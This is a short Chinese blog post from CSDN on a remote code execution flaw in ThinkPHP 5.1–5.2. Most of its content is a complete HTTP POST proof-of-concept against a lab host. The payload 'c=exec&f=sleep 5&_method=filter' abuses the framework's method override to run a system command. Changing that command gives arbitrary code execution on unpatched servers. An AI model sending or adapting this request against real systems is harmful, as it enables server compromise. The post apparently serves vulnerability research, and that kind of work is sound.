Thinkphp5.1 ~ 5.2代码执行漏洞

最新推荐文章于 2024-08-14 22:33:34 发布

caiqiiqi

最新推荐文章于 2024-08-14 22:33:34 发布

阅读量9.8k

点赞数

分类专栏： Web

本文链接：https://blog.csdn.net/caiqiiqi/article/details/86505649

版权

Web 专栏收录该内容

220 篇文章 7 订阅

订阅专栏

需要在library/think/Error.php中设置：

error_reporting(0);

据作者博客中说的：

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置

http://proxy.boomeye.com:19300/wordpress/index.php/2019/01/15/thinkphp5-1-5-2-rec/
设置前（默认情况下）：

error_reporting(E_ALL);

在这里插入图片描述
设置后：

payload：

POST /thinkphp-5.1.29/html/public/index.php HTTP/1.1
Host: 192.168.96.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close

c=exec&f=sleep%205&_method=filter